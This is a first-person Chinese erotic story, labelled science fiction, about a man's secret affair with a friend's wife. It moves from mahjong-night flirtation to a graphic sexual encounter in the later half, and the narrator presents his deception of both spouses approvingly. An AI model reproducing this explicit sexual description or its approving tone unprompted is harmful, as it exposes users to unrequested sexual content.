妙手偷香[科学幻想]

 

偷,最首要的解释即:私下里拿走别人的东西,据为己有。
偷情:同理可得,是指私下里拿走别人的男人或者女人而据为己有。
妻不如妾、妾不如偷。偷情给人们带来的愉悦和刺激由此可见一斑。
任何事情都是从慾望走向实践;从懵懂走向熟悉;从生疏走向娴熟,从胆怯走向勇敢。
偷情的历练过程如同士兵从和平走向战争的过程——开始时是害怕战争,害怕战场,害怕战斗,害怕面临流血和死亡。但军人是以服从命令为天职的,为了国家的利益,为了统治者的地位,军人必须执行战斗命令。而当你真实的走进了战争,退宿就意味着死亡。经过战争的洗礼,军人的胆量和意志会得到一个前所未有的提升。
偷情亦是如此。上帝造人,开造了人类美好幸福的生活。古人云:食色,性也。圣人曰:饮食男女,人之大欲存焉。也就是说凡是人的生命,离不开两件大事:一是饮食饥饱,二是男女行乐。一个生活生计的问题,一个性的问题。所谓饮食,即是人们解决温饱问题。男女则属于康乐问题,人生就离不开这两件事。
我是凡人,衣食住行相对宽松,饱暖思淫欲,圣人亦如此,我更不能脱俗。
言归正传,讲讲我的偷情路。


偷情事件的发生,往往与所处的环境和自己的慾望有关。人是高级动物,是感情动物,相处久了,难免日久生情。这就是偷情的温床。
前些年,我和几个哥们喜欢凑到一起玩麻将,今天去你家,明天去他家,天天如此,不亦乐乎。时间长了,当然与女主人也混得很熟,为调节气氛,消除输家的不悦而故意找女主人开玩笑、插科打诨自不在话下。我的牌技不佳,往往输多胜少,收不抵支,博得女主人「怜臭惜石(不敢称香,也不敢称玉)」,唏嘘不已。哥们对我的表现自然是大加赞赏,期待我踊跃参与——谁不想赢几个银子花花呢?
一日周末,哥们联系我去他家玩麻将,我说近日我是「罗锅腰上树——钱(前)紧」,前一段给你们贡献太多,现在囊中羞涩,準备金盆洗手。哥们也深知我的处境,每赌必输是我的习惯了,也只好宽慰我几句作罢。
我正準备在家过个清淡加清閑的周末的时候,电话铃想起。拿起听筒,原来是刚才那哥们之妻的声音:「星期天你在家干什幺呀?来我家玩呗!」
我说我真的输怕了,不是在乎输了多少钱,而是每赌必输弄的我很没面子…再说了,这几天我真的口袋里没有银子了,你们玩吧!
对方说了(以后暂且称嫂子吧,哥哥嫂嫂是官称嘛):「刚才听你哥说了,说你这一段没钱,不来我家了。每次都是你们弟兄几个玩,今天你不过来,跟少点什幺似的……你过来吧,不就是几个钱吗?嫂子给你拿,只要你过来,嫂子就高兴……你快点过来啊,我在家等着你的。」
不等我接话,那边嫂子就把电话给挂了。我是去还是不去?嫂子那幺热情,话都说到那个份上了,我如果不去,还真的说不过去。唉,我这人就是耳朵根子软,经不住别人的几句好听的话,翻了翻抽屉,翻出些碎银子来,装进口袋里,就过去了。
到了哥们家,敲门,迎接我的自然是嫂嫂了。我听到里面稀里哗啦的一阵洗牌声和说笑声,知道里面麻将已经在进行中。我说既然里面已经够手开始了,我就不进去了…嫂嫂说:那是看你没来,先喊喜平(邻居,女性)配个手,你进去了她就站起来了。
这时候里面男主人哥们问道:谁来了呀?是不是虎弟过来了?
嫂嫂应声道:是的,虎弟过来了,听到你们玩着呢,就不愿意进来了…哥哥说:快,快请虎弟进来。我们几个是「买个鏊子(烙饼的器具,用铸铁做成,平面圆形,中心稍凸)没腿——专(砖)等着你呢!」
这时候,嫂嫂从口袋里掏出一打票票塞进我的口袋……想必嫂嫂给我打了电话以后就把钱準备好了,我心中一阵温暖,既感激又尴尬,去别人家玩牌,还得让人家女人给我拿钱,唉!杯具呀!
进去以后,喜平虽不情愿,但还是识趣的站起来让给我了,毕竟是几个爷们一起玩的,我接过喜平的牌一看,还不错,不一会,卡2 饼自搬先赢一把。大家纷纷掏钱,我则把钱收好交给喜平,喜平说什幺也不要。
哥哥开口了:「就这,我打电话请你都请不来,还得让你嫂子亲自给你打电话,你才肯来。看起来你嫂子还是有一定魅力的嘛!」
我不好意思的说:「不是的不是的,我这一段真的是输怕了,不敢再跟你们几位玩了,这样玩下去,我的工资全被你们给分光了。」这时我话音一转接着哥哥的话说:「我嫂子本来就很有魅力嘛,漂亮、温柔、贤惠,女人的优点我嫂子占全了…」呵呵,我也不嫌肉麻了,忽悠呗。
几个哥们也附和着我的话夸赞嫂子,我偷眼看到嫂嫂高兴的两脸绯红,喜形于色溢于言表,拍打着我的肩膀说:「看老虎弟弟说的我都不好意思了,我哪有你说到那幺好哟!你哥整天看我这不顺眼那不顺眼的…」
我假装不满:「哼!他是身在福中不知福,早知道他是这样的人,还不如当初你跟着我过呢,我一定会捧在手里怕飞了,含在嘴里怕化了……」
几个哥们不答应了:「咦咦咦,你含在嘴里怕化了,看咱哥不把你的鸡鸡给删(阉割)了!」
哥哥接话了:「没事,我就让给虎弟了,好好的招呼好你的嫂子!」
嫂嫂不乐意了:「死脸!哪有把自己女人让给兄弟的?」
大家哈哈一笑继续打牌。
说来也怪,我一接手,牌立马就变样,什幺皮条万都不断,十三不靠,东西南北中发财白板都有,我愈发丧失了信心,11点不到,我带的票子已输乾净,连同嫂嫂的赞助已所剩无几。牌背不能怪社会,只怪我手气不佳、技不如人,此时的我心情不畅,也说不出俏皮话了,只能默默无语,唉声叹气。
最后一局我给哥们点了一杠,对门一个暗杠,下家又来个自搬,把我气的一摔牌,说:不玩了不玩了,今天太背了,喜平,还是你玩吧,替我报仇雪恨…大家看我确实很背运,也不好意思说别的,不再劝我,喊喜平坐下,喜平也不谦虚和推辞,坐下继续玩了起来,我则站在一边板着脸冷眼观战。
这时候嫂嫂看我真的不想玩麻将了,就喊我帮忙包饺子,几个人为了调节我郁闷的心情,也劝我说:弟弟去给嫂子帮忙包饺子去吧,等我们结束了,谁赢了谁给你提花儿(好处费),我想想嫂嫂待我不薄,不好拂了嫂嫂的面子,就跟着嫂嫂进了厨房。
嫂嫂住的是家属楼,不到一百平方米,三室一厅,他们两口子住一室,小孩住一室,另一室就算是麻将室了,外面的客厅放着沙发电视餐桌什幺的,厨房和客厅相通,面积很小的。
他们两口子很会享受,孩子不大就跟着爷爷奶奶,他们倒落得清閑自在。
说起帮厨,我可不是外行。爱吃的人一般都会想法设法做点自己喜欢吃的,经常在外面吃饭的人,见多识广也想在家试一试,所以我做饭炒菜都还差不多。到了厨房,我说我擀饺子皮你来包。嫂子笑着说「好」。我们就开始了第一次的厨房合作。

我们边干活边说话。嫂子说:「你今天就是有点点背,就没赢几盘。」
我说是啊,马上把你的钱都输差不多了…嫂嫂笑道:「什幺我的你的啊,装你兜里了,就是你的。」然后小声给我说:「别给你哥说这事,他就那样,小气惯了,就看钱精贵。这钱就算是我给你的,输了就输了,我又不给你要!给你的就是你的了!」
我又是一阵感动。
其实她不安排我也不会说出去呀,老婆偷偷的给我塞钱,难道我还傻到向她老公炫耀一番吗?我不无感动地问她:「你…你为什幺对我那幺好呢?我又怎幺感谢你呢?」
「看你说的,只要你得空经常来家里玩,嫂子就开心了…」
我听后心里一动,稍微有点胡思乱想吧。人嘛,不就是这样的吗?既然是高级动物,那当然是有思维的啊。我仔细的揣摸着嫂嫂的话,嗯嗯嗯,到底是什幺意思呢?不会是喜欢上我了吧?
这才想起来仔细的回想一下以前在她家的往事:我们哥们几个来她家也算是常客了,都不拘小节,而我呢,更是不喜欢买东西拿过来,好像是刻意的讨好主人一样。当然,别人去我家,我也向来不让别人买礼品,不喜欢虚虚假假花花道道的。
每次我到嫂嫂家,都比较腼腆,话不多,可一旦打开话匣子了,我也会说骚话的,就离不开屄啦屌的说上几句玩笑话,打个比方也离不开这些话题,弄得大家哄堂大笑。但是我认直理,为人实在厚道,讲究公平公正。谁擡起杠了也都找我评理。在她家玩的时候,她会不时的对我嘘寒问暖,倒茶让烟,也只有我会有如此的待遇,那几个哥们也只能望而兴叹,羡慕不已。有时候她的热情让我很不自在,总觉得这样怕哥哥心里不爽,误会了我和他老婆的关係。
我声明,那个时候,老虎我是大大的清白,结婚之后没有跟老婆之外的任何一个女人有不正当的关係。
想着想着,心里有一点点的激动,有一点点的心猿意马,有一点点的蠢蠢欲动。我偷眼看她正在专心致志的捏饺子边,趁她不注意,我提起精神,抖足胆量,飞快地「啵…………」,对着她的脸就是一口,然后继续低着头擀饺子皮。
今生今世到目前,我还是第一次婚后亲吻老婆之外的女人,此时的我,心里像十五个吊桶打水——七上八下的,怀里揣着十五只兔子——七上八下的怦怦乱跳,我不知道此举的后果会是什幺样的,我不敢看嫂嫂的脸…假如,假如嫂嫂对我那幺的好,却没有一点别的意思,我这样做岂不是对嫂嫂一番好意的亵渎与不恭吗?如果嫂嫂惊慌失措的大声一「啊」,隔壁的哥哥及哥们势必会听到动静后过来疑问发生了什幺事情,那时候我将如何面对哥哥和大家?我将会无地自容羞愧难当…正当我忐忑不安之时,听到嫂嫂「扑哧」一声笑道:「你怎幺了?怎幺不说话了?害羞了?」
我看嫂嫂没有责怪我的意思,方才定下心来,然后辩解道:「我没别的意思,嫂子对我那幺好,只是为了表示对嫂子的谢意…」
嫂嫂含笑嗲声道:「喔,就这样表示呀?也太简单了吧?」
「……」弄得我又是思忖了半天:怎幺表示才算不简单呢?我,我,我…我再试一把?想到就要行动,不然就是瞎想了。于是我伸胳膊揽过嫂嫂的脖颈,对着她的嘴就是深深的一吻,这次感觉到她犹抱琵笆半遮面的欲挡欲含的回吻了我一下,我刚感觉她的舌尖伸到我的嘴里,却随机挣脱,用眼示意外面…我大喜过望:嫂嫂默许了,只是此时环境不适,氛围不爽,人声吵杂,空气紧张,不利于行事。既然刚才已经探过了嫂嫂的底线,我已心中有数,不能显示出一个大老爷们急不可耐的猴急态势,留着青山在不怕没柴烧……找合适机会一定把嫂嫂拿下!
我看到嫂嫂脸上粘有刚才我手上拂过的面粉,给她指了指,她会意地用袖子擦擦问:「还有吗?」
「没了,我去那屋看看。」
她不解的问我:「你去那屋干什幺?在这里陪我一会儿就不耐烦了?」
我连忙解释道:「哪里呀!我去那屋转转,说明我还心系麻将!不让小心眼的哥哥心里犯嘀咕。」
「就你鬼点子多!」说着,还不忘用手指头戳了一下我的额头。
也许这就是做贼心虚的缘故吧,转悠一圈也是自我表白一下。我转身离开时,她又喊住了我,同样指了指我的额头:「面…」
「哦」,我恍然大悟,让她帮我擦了擦额头的面粉,摊着粘满面粉的双手,走进隔壁卧室的麻将场,自言自语的表白道:我擀饺子皮的功夫很是了得,都擀了一大堆儿了,嫂子得一会儿包不完……几人笑道:兄弟辛苦了,等会吃饭的时候多给你敬两杯酒…我笑了笑,不置可否…看来一会麻将,心不在焉,找了个理由:「撒泡尿去,然后接着给你们包饺子!」
几个人一听都不愿意了:「出来了好好洗洗手,打打香皂!别忘记了你自己也得吃呢!」说完大家一阵嬉笑。
我借机洗洗手,撒把尿,故意打香皂打的吧唧吧唧的响,然后跑到大家面前,伸手让他们看:「你们都闻一闻,看看打没有打香皂?」
大家都笑了,哥哥笑着说:「管你呢,反正你也得吃!去干活吧,别干扰我们打牌!」
「是!保证完成任务!」我暗自思忖:我完成什幺任务呢?完成「招呼好嫂子」的任务?
我高高兴兴的回到厨房,伸手揽过嫂嫂,扶着她的双颊,捧着她的小脸,启开她的粉唇,将我的垂涎之舌送进嫂嫂口中。嫂嫂张开双臂(手上有面嘛!)回应着我,立即吸住了我的舌头,一阵狂吻乱吮,只吸的我舌根发疼。我不禁暗暗感叹:好一个嫂嫂,嘴劲如此的力道,令我折服!
我偷偷将口中玉液暗自送入她的嘴里,听得到她「咕咚咕咚」的咽着,我心里那个惬意啊!想着日后她为我口活的时候一定非常的强劲,心中又是一番窃喜,下体不听使唤的搭起了高大的帐篷,此时此刻我多幺的想扒掉嫂嫂的衣服,插入嫂嫂的身体啊!
其实刚才我出去到卧室,然后去撒尿,都是我考虑好的步骤,只不过是为现在的行动做点铺垫:沾着面的手去看打麻将,说明刚才我在干活,两手是面不可能做别的事情,然后撒尿是为了给我洗手做铺垫——你不解手却直接洗手干什幺?不要授人以柄!不洗手怎幺跟嫂嫂亲热,弄得满身是面也不好解释不是?只有洗乾净手上的面泥,才可以对嫂嫂动手。
机会只给有準备的人,当机会出现在你的前,不要犹豫,勇敢的伸出你的双手抓住它…话说正当我俩激情四射,欲做不能、欲罢不忍之时,突然听到隔壁搬挪椅子和脚步声,惊得我们迅速分离,我慌忙拿起擀面杖装模作样的擀起饺子皮来,嫂子也慌张地拿起饺子皮继续包饺子…「哗哗哗哗哗哗……沥沥沥沥…」一阵尿声,唉!原来是虚惊一场,哪个好汉爷在这个时候去撒尿的啊?
我怒斥道:「谁在撒尿?不知道关住卫生间的门,想干什幺啊?尿的那幺响,想骚扰嫂子吗?」
「还不是被你刚才那一尿给引的了,现在我也憋不住了…再说了,我骚扰她还不是正常的吗虎弟?我白天骚扰,晚上比白天骚扰的更厉害!我们有执照啊…」
我听出是哥哥的声音,立即一手揽着嫂嫂的腰肢,一手伸去抓住嫂嫂的咪咪一阵狂揉,嫂嫂的咪咪不大,一把可以抓下,但我还不忘装作无奈地对哥哥说:「是哩是哩,你们有执照,但是也不能骚扰我啊!你在那边哗哗的撒尿,影响我干活的情绪!你也别忘了洗手啊…」说罢,我对着嫂嫂的小嘴亲了一口…嫂嫂吓得急忙挣脱我,脸色绯红,鼻尖之上已浸出滴滴细汗,杏眼一瞪,点着我的鼻子咬牙切齿…哥哥洗好手继续战斗去了,我得意地吐了吐舌头,嫂嫂小声嗔怪道:「你好大的贼胆,竟然喊着哥哥头摸哥哥的女人,还贼喊捉贼!」
我「嘿嘿」地笑笑,得意的说:「我就那样说他!刚才我下面都顶起来了,看看,被他一惊吓,又下去了……」说着,我用眼神指了指下面,帐篷真的塌下去了。
我人生中第一次尝到了偷情的滋味,还是和她老公一边说着话一边玩弄着他的女人,这心情是多幺的激动、惊险和刺激啊…一阵低声嬉笑之后看看表,已接近中午,也就没有心情继续探险了,抓紧时间捏好最后几个饺子,我洗了洗手,又跑到隔壁房间里一语双关地表起功来:「我在那边和嫂子干活,你们在这里玩牌,累死我了,弯腰弯的我腰酸…你们啥时候结束啊?」
哥哥连忙表扬我:「快了快了,我们这盘打完就结束。虎弟辛苦了,我代表诸位弟兄向你表示感谢!」
我心想:别表扬我了,你中间不去撒尿,说不定我就对你老婆做进一步的行动了,是你的动静把我吓软了!就为你这一吓,哼,我早晚也得在嫂嫂身上报复一下!
接下来弄了几个凉菜,避免不了的喝上几杯。他们看我输的多,又干了活,就多劝了我几杯。我有意外收获,心情高兴,自然也愿意喝上几杯,还不忘带上嫂嫂:嫂子也很辛苦,给你们包饺子,给你们调凉菜,我和嫂子一起喝!
「好好好,我们也敬嫂子一杯」,几个人应和着,我伸着胳膊与嫂嫂碰杯,嫂嫂则含笑举杯与我共饮,暧昧的眼神不时的飘过…酒过三巡,菜过五味,大家开怀畅饮,三瓶酒到肚(四男二女),然后吃饺子,接着打麻将。我没有理由在单独和嫂嫂一起的理由了,也由于上午的惊喜,我喜不胜收,带着剩下的一点点银子继续坐下战斗。心里嘀咕着反正是嫂嫂送的,输了算毕。
奇迹终于发生,晕乎乎的趁着酒劲,也趁着婚后第一次与别的女人亲热的余热,输少赢多,终于翻盘。这是我麻将生涯少有的胜利,情场得意,赌场也没失利,一举两得,一石二鸟,岂不乐乎?
我怀着胜利的喜悦回到家里,老婆已赤条条的在床上等着…老婆看我满面春光的样子,就嗲声嗲气起来。我心情不错,脱衣上床,想像着嫂嫂的小嘴和软软的舌头,春情无限,我的下面早已勃起。上午晦气,被吓的憋了回去,但是既然没有哥哥的那一惊吓,也不可能有下一步的动作啊,想一想,连嫂子的咪咪是什幺样也没有摸到,现在看到温柔似水的老婆,也只好逮着老婆泄火了。
老婆陪我去清洗后,我迫不及待地搂住老婆一阵乱顶,老婆很纳闷:老公,你今天是怎幺了?平时不是这幺猴急呀?
是的,平时为了老婆的感受,我们都有前戏的,都会先温存一番,再行男女之事的,但是今天不是受了嫂嫂的刺激了吗?但我嘴上却说:「看到你光溜溜的在床上,难道不是浪极之举吗?你浪了,我就得满足你不是?要不,现在就休息吧?」
「不嘛老公,谢谢你,我错了…」说着就俯下身来一口含住我暴涨的鸡鸡…(此处略去1582字,待跟嫂嫂爱爱的时候再详细分解)由于想着上午和嫂嫂偷偷摸摸的场面,心中依然激动不已,我破例和老婆来了个二次上马,结束后我俩大汗淋漓,全身水湿。老婆不无感动:谢谢你,老公,今天好过瘾,我爱死你了…你早没像今天这样的表现了…我敷衍着:那不是我赢钱了吗?高兴!
心中却说:是被嫂嫂刺激的了…事毕睡觉不提。
有了这次的收获,我对嫂嫂是念念不忘。以前没有单独联系过,即便偶尔联系,也没有暧昧语言,现在不同了,只要有空就给她发个信息聊上几句,夸上几句,骚上几句…她也会问我她对我好不好之类的问话,我当然夸她对我好了,所以我很感激她,很喜欢她之类的花言巧语。
有一次短信中她问我喜欢她什幺,我说我喜欢你的善良,喜欢你的温柔,喜欢你的漂亮,喜欢你的性感…「我哪里性感了?」
我说「你身材高挑,皮肤白嫩,咪咪丰满…」
「呸!不理你了!以后你也不要理我了!」
我一头雾水:怎幺了嫂子?我哪里说错了吗?
没有回应……我继续发短信,还是没有回应…我敏思苦想,哪里让她不高兴了,想不出来,也只好作罢。
直到有一天哥哥外出培训10来天,突然收到她的短信:「你在干嘛?」
我欣喜若狂,立即回短信:我在想你呀!
她回了一条:你会想我吗?这幺多天怎幺没有联系我?
我:是你不理我的,我给你发了几条短信,你都不理我,我何必自找没趣呀!
又是长时间的沈默,没回我的信息…其实我知道哥哥外出了,因为单位外出培训或者学习的传真电报,都得经过我的批注。想必嫂嫂也是在家寂寞,才想起给我发短信的吧。
发短信太慢了,乾脆打电话吧!我拨通了嫂嫂的电话:嫂子,你这几天不理我,我很想你,总觉得哪句话把你得罪了对不住你!今天晚上我去你家找哥哥喝酒去,也好借机给你赔个不是……我故意装着不知道哥哥不在家,这样避免单刀直入而遭到拒绝后的尴尬呀。
嫂子那边说:你想来就来呗,我不让你给我赔不是。
我赶紧说道:好,晚会下来班我就去你家。
「……」嫂嫂不置可否的态度让我多少有了点底气。一下午也无心工作了,就想着到了她家以后该怎幺行动才不至于让她反感的同时而又保住我的面子。
不知不觉到了下班时间,我又磨蹭了一会,毕竟她住的是我们单位的家属楼,怕遇到熟人不好解释。然后在街上买了点熟菜,又给她打了个电话,去了她家。
门给我留着呢,我推门进去,将门锁上,她已摆上两个炒菜。我故作不解的问:「我来了,就弄这两个菜呀?哥哥呢?给,我怕不够吃的,在街上买了点菜。」
「谁让你买菜了?你哥不在家,咱俩弄两个菜就够吃的了。」
呵呵,还挺照顾和心疼我的,不想让我花钱,我再次一阵小激动…我把菜放下,张开双臂把她抱了起来,然后深深的一吻,她推开了我说:「去,洗手吃饭!」
也好,吃完饭看我怎幺收拾你!
芹菜肉丝,牛肉土豆,两个都有点肉,也都是家常菜的做法。又把我拿的菜装了两盘,四个菜,不错。
我故作生气的埋怨道:哥哥不在家就没有酒喝了吗?
「有,你等着我拿呀!」说着,去里间卧室拿了还剩大半瓶泸州老窖和一瓶郎酒,问我喝哪个,我说就喝半瓶的吧,整瓶的给你家留着。
我给她倒了一小杯,我们边喝边说话,东扯葫芦西扯瓢的,东家长西家短的,她给我爆料单位的谁谁谁和谁谁谁关係不一般了,谁谁谁与谁谁谁是相好的了,我表示很吃惊,不可置信。她撇着嘴说:「全公司都知道,你会不知道?」
我说我不爱打听别人的隐私。喝着喝着,4 两酒下肚,脸有点热了,心有点挑了,话有点白了:「他们相好就不怕老头子知道吗?女人那东西不都是一样的味吗?干嘛还冒那个风险呀?」呵呵,我这话让我自己都不相信是从我嘴里说出来的。
她酒量不大,也喝了一两多了,两眼朦胧地接我道:「老虎(弟弟也不喊了),你觉得你说这话就那幺理直气壮吗?你难道真的不知道你哥哥出去培训去了吗?你来俺家真的是找你哥哥喝酒的吗?我不说透罢了,你也不用揣着明白装糊涂,你那点花花肠子还能瞒得过我?」
哈,嫂嫂终于戳穿了我,我无言以对,只能「嘿嘿」的干笑:「来,嫂子,咱们再喝一杯结束!」
我俩共同举杯,一饮而尽。她给我拿馒头,我哪里还有胃口吃馒头?我欺身上前,一把抱住嫂嫂,吻住她的双唇,舌头伸进她的口中……却感到口中有物,连忙撤退:「咱们漱漱口去吧?」
她也感到不好意思了,却忘不了争辩:「都是你猴急!」
本想让她连同下身一起清洗清洗,但怕她嫌我事多拒绝我,岂不弄巧成拙?简单漱口之后,我把她抱起,直接摁到哥哥嫂嫂天天赤条条的搂在一起的大床上,我的鸡鸡早已暴涨,但还是忍了忍,好戏还在后面,不能急于求成,否则会因小失大。
我狂亲着嫂嫂的双唇,右手顺势伸入她的上衣内,这时她反应强烈,一把抓住我的手不让进入,嘴里还喊着:「不要…不要…」
我纳闷至极:今天的约会都心照不宣了,干嘛还这样假装正经?
我不解的问她:「怎幺了?」
她说「不让你摸我的胸,你笑话我,看不起我!」
我更加摸不着头脑了:「我什幺时候笑话你了?」
「上次你说我的…我的…丰满…你喜欢丰满的,我的不丰满,不是你喜欢的……」
我不依不饶的强力推进,挣脱她的双手,伸进她的胸罩,里面软乎乎的一团乳肉,刚好一把抓住!太好了,不大不小,一把刚好!嗯…噢…我知道了,我想起了上次短信调情时我夸她「咪咪丰满」的话了,现在看来她的咪咪确实不大,但也绝对算不上小咪咪呀!噢,比起大胸女人,是显得小一些,但是这样的手感和这样的类型也确实是我喜欢的。她是以为我说反话嘲笑她的…其实我没有那个意思,我只是随口说说罢了,再说了,我也没有怎幺摸过,就那一次在厨房,还没摸到呢就被她挣开了,怎幺能够知道大小呢?
我纠正道:「我就喜欢你这样的咪咪,大咪咪滴溜溜的多难看呀?」
她红着脸问我:「真的吗?不许骗我!」
「我骗你干什幺啊?我骗你是小狗!」
「你是小狗,你刁骂我!」
「好好好,我是小狗,我是小狗好不好?让小狗亲亲你的咪咪吧?让小狗吸吸你的咪咪吧?」
经我这幺一说,嫂嫂破涕为笑(其实没哭,恕我用词不当),我趁机乾脆解开她的上衣,鬆开她的胸罩,好一副匀称细腻白嫩而又精致的乳房啊!乳头微红,乳晕不大,我一手抓住她右边的乳房,一口衔住了她左边的乳头,吞吞吐吐,软绵绵的带着肉感,不硬不绵,还略带沐浴露的余香,好不舒服。
难道她为了迎接我,早已沐浴更衣做好了準备?我毫不客气地将手伸进她的内裤,敏感的部位光滑柔软,并没有摸到浓密的毛毛,我皱了皱眉头,并没有说什幺,顺着往下寻摸,她那缝隙中饱含着阴露,滋润着我的手指……此时的她没有任何阻拦和抗拒,直接不停地搓揉着我的头髮……一不做二不休,索性扒光她的全部衣物,好奇心不由地让我借着灯光往下看,「咦!你怎幺没有屄毛啊?」我不由自主的脱口而出……她鬆开抓住我头髮的双手,一手捂住阴部,一手捂住脸说:「不理你了,不理你了,你又在笑话我!」
我再次为我的唐突的失言而感到懊悔!
其实人这个东西呀,往往都有同样的心情,那就是追求普通,追求与大众一致。比如个子低的,怕别人提及矬子,头髮稀的怕人提及秃子,不会生育的怕提及亲生孩子,咪咪瘪的怕夸别人的乳房丰满,屄毛少的自然就跟头髮少的一样了,都有忌讳。上次因为夸她丰满,害得几天不搭理我,这次还是不长记性,又提起她的忌讳了……我连连改口:「我喜欢你这样的,没毛好,月经来了容易清理。我老婆屄毛多,月经一来,弄的跟俄罗斯男人的红胡子一样,难看死了……来,让我亲亲我喜欢的东西……」
「嘻嘻嘻嘻……死蛤蟆能让你说出尿来,你是跟谁学的这一套呀?」嫂嫂再次转怒为笑,让我宽心不已……
   一场危机再次破解,我心中暗自得意我的机智多变……当我凑到她下面的时候,巧合再次出现——嫂嫂不单是屄毛没有几根,就是屄屄也是我所喜欢的类型:一条肉缝儿展现在我的面前,大阴唇合拢成一条缝儿,缝口处还出现一个小窝窝,好似漂亮女孩脸上的那副美丽的喝酒窝一般!我的心咚咚的乱跳,我孩提时期与女孩玩耍时记忆里的缝缝儿再次出现在我的面前,令我心动。
先前我的第一个女人(女朋友,没有结果的女朋友)和我现在的老婆的那地方,都是小片片被挤在大阴唇外面,像鸡冠一样令人厌恶!也许是孩提时的记忆惯性所至吧,我一直认为女人的下面都应该是一条缝儿,多幺的光润啊,而不是皱皱褶褶的鸡冠附在上面。
我羡慕哥们的福气,拥有这幺美丽的无毛阴缝,我妒忌哥们,为什幺这样美丽的肉缝儿却被她占有?我庆幸我自己,今生也能让我遭遇这美丽的地方……(后来在我成为「惯偷」之后,此类型的尤物比比皆是,我自叹我当时是井底之蛙。)我爱抚地抚摸着嫂嫂光洁无毛的阴阜(有几根,不多),分开嫂嫂诱人的阴唇,小阴唇欲藏欲隐地像含羞的玫瑰花瓣,红艳娇嫩……
  我伏在花瓣上(悄悄地)闻了闻,没有花香,有的还是那股淡淡的沐浴露的余香。看起来嫂嫂真的是做了充分的前期準备工作,嫂嫂是有备而待迎接我的到来……我放心地用舌尖分开花瓣,里面涌出山需的阴液,有点热酸味道,我顾不了那幺多了,连同口中不断分泌的唾液,随着我的一声干咳,吐到纸篓里——我是咽不下去这些东西!然后从下至上的一直舔到她的豆豆,嫂嫂一个激灵,我知道阴蒂是女人最最敏感的地方,嫂嫂的激灵就是一个信号,我卖力的舔舐着嫂嫂的阴蒂,嫂嫂双手游离于我的头髮、脖颈和背部不停的揉摸着,我正在得意我的嘴法让嫂嫂无法忍受的时候,「咚咚咚!咚咚咚!……」急促的敲门声惊断了我们甜美的性爱之旅!
我顿时脊梁沟沟里冷汗直冒,气血涌头,我无助的瞅着嫂嫂,不知道该怎幺办才好…嫂嫂也被这突如其来的一幕给吓得惊慌失措,面色煞白,我们俩大眼瞪小眼,举足无措……我看她刚想张口说话,我慌忙捂住她的嘴,指了指我的衣服,又指了指隔壁小孩的卧室,然后我不管是谁敲门了,也顾不了别的什幺了,抓起我的全部衣物,赤着脚拎着我的软底皮鞋就往她孩子的卧室跑去(孩子不在家,住在爷爷家)……
  我都不知道做什幺好了,把卧室锁拌上,自顾自的悄悄的摸索着一件一件的穿上衣服,同时大脑在高频率地快速旋转着、思考着、寻思着:
这到底是哪方神仙呀?早不来晚不来,偏偏在最最关键时刻来了啊!
哥哥外出培训计划是10多天的时间呀,还早呢,不可能是他!绝对不可能!可不是他又会是谁呢?
是孩子周末回来了?可为什幺偏偏晚上回来呢?他爷爷奶奶跟着过来没有?嗯,他奶奶腿脚不好,不会现在过来的,最多是他爷爷领着他回来,那样,他爷爷不会留宿在儿媳妇家的。如果只剩孩子自己,那就好办了,以嫂嫂的聪明机智,可以假装亲热,把孩子连拉带扯的叫到她的卧室,说爸爸不在家,可以住一起,这样我就可以从容的离开了…嗯?老公不在家,是不是嫂嫂还有……
  还有别的男朋友?这样的话,哼!我不走,我看你们想干什幺!我看你们能干什幺!我等你们进了卧室……也等到你们欲仙欲死的销魂时刻,我也「咚咚咚咚咚咚」而且比刚才的敲门声音更大更急,而且是直接敲打你们的卧室门,然后再溜走…可…可…可是…万一是哥哥回来了呢,他为什幺这个时候回来呢?为什幺连个电话都不打就如天兵降临一般的到来了呢……
  嗯,他一路颠簸肯定要去洗手间放放水吧,我必须趁他稀里哗啦的撒尿的当儿,当机立断的临阵逃脱。嫂嫂绝对不会立即反锁防盗门的,一定会给我留条后路的…毕竟目前来说,我们俩是一根绳子上拴着的两只蚂蚱!我不安全离开,不单对我不利,她更是脱不了干系…「啪啪啪…啪啪啪…」又是一阵揪心的敲门声,把我的心都敲出了胸膛!我被这烦人闹心的敲门声打断了刚才的思路,同时也做好了以不变应万变的心理準备…这时候才听到嫂嫂声音发颤地问了一句:「谁…谁啊……」
「我……你干嘛呢?我敲半天门了,你都不应声……」女人的声音。
「哦……嗯……我睡着了……」
「髒衣服攒了一星期了,不巧家里的洗衣机坏了,把你家的大盆拿过来用用…」
我听出来了,听出来是单位的同事,嫂嫂的邻居喜平的声音……略略的松了口气。
嫂嫂也一下子来了精神和底气,说话声音也变粗了:「你烦不烦人啊!都半夜了,还不让人家休息!」说着就趿拉着拖鞋走了出来……
  「咦!你自己弄那幺的菜干什幺啊?谁来你家了啊?」
咳!只顾早点跟嫂嫂亲热呢,根本就没想起来收拾餐桌!看嫂嫂怎幺应对吧,我耳朵贴着门静静的听着,还略微带些幸灾乐祸。
「我家亲戚,来找他(老公)办事呢,不能不管人家饭吧?吃完饭就走了。」嫂嫂没有停顿,应答如流,我真的佩服嫂嫂的应变能力,「给,洗去吧,我困死了…」嫂嫂一定是把大盆找到递给喜平了,这是逐客令!
喜平不依不饶地说:「别不是哪个男人趁你老公不在家,来找你幽会的吧?」
「你……你个骚逼,你自己浪,还把髒水往别人身上泼!小心烂你的舌头!」嫂嫂愤愤不平的骂道。
「我都听见你们说话了,快出来,让我看看是那个帅哥?」
我听到这话后头都炸了,腿肚子筋都短了,两腿哆嗦着扶着墙不知道怎幺办才好。
嫂嫂说话了:「去吧去吧你个骚逼,去我卧室里看看去吧!门开着灯亮着呢…」
喜平嘻嘻哈哈的笑着说:「我不看,管你领那个野汉子呢,我回家洗衣服去了……」
「你个骚逼嘴里就没有好话……」咣叽关门声,锁门…然后我的房门响了一下:「出来吧。」
我头上冒着热气,悄悄的打开卧室门,嫂嫂穿着一个睡袍,一脸哀怨和无奈的搂住了我,我们搂抱着重新倒在哥嫂的大床上,嫂嫂压在我身上,狂吞我的舌头,好似要吸掉一般……我们的舌头缠绕在一起,交换者津液,贪婪地吸吮着,嫂嫂纤细的小手划至我的下身,摸了摸着我的宝贝,并随机解开我的腰带,扒掉我的裤子。
我说她:你说话咋那幺粗鲁啊?跟泼妇一样!
她笑着说:「对待这样的人就不能客气了,嘴不积德。」
我问嫂嫂:「你说她真的知道我在你家吗?」
「她知道个屁!瞎诈唬,整天没正经,我就得这样骂她,谁让她坏咱们的好事呢!」
「嗯,对!狠劲骂她!把我吓坏了……」
